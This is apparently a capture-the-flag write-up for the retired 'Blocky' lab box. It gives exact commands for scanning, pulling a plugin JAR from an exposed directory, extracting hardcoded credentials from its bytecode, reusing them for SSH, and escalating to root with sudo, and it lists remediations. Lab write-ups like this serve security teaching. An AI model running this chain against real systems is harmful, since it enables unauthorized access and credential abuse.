Blocky
Summary
I browsed a publicly exposed file-listing page co-hosted on the WordPress server, downloaded a custom Minecraft plugin JAR, and recovered hardcoded MySQL root credentials stored in plaintext in the compiled bytecode. Those same credentials had been reused as the Linux login password for the local account 'notch', granting an immediate SSH shell and the user flag.
Because notch held unrestricted sudo rights, a single sudo command with the already-known password produced a root shell and full system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p- -oN nmap_blocky.txt $TARGETcurl -sS -I -H 'Host: blocky.htb' http://$TARGET/Exact commands 2
curl -sS -H 'Host: blocky.htb' http://$TARGET/plugins/curl -sS -H 'Host: blocky.htb' http://$TARGET/plugins/scan.phpFixRemove or authenticate the plugin file-browser directoryHigh
Exact commands 4
mkdir -p /tmp/blocky && curl -sS -H 'Host: blocky.htb' -o /tmp/blocky/BlockyCore.jar http://$TARGET/plugins/files/BlockyCore.jarcd /tmp/blocky && unzip -o BlockyCore.jarstrings /tmp/blocky/com/myfirstplugin/BlockyCore.class | grep -A2 -B2 sqljavap -classpath /tmp/blocky -c -p -v com.myfirstplugin.BlockyCore 2>/dev/null | grep -A1 'root\|sql\|Pass'FixRemove hardcoded credentials from source code and build artifactsCritical
Exact commands 2
ssh notch@$TARGETsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null notch@$TARGET 'id; cat /home/notch/user.txt'FixEnforce unique passwords and disable SSH password authenticationCritical
Exact commands 1
printf '%s\n' '[REDACTED: recovered credential]' | sudo -S -lExact commands 3
sudo -icat /root/root.txtsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null notch@$TARGET "printf '%s\n' '[REDACTED: recovered credential]' | sudo -S sh -c 'id; cat /root/root.txt'"FixRemove unrestricted sudo rights from the notch accountCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.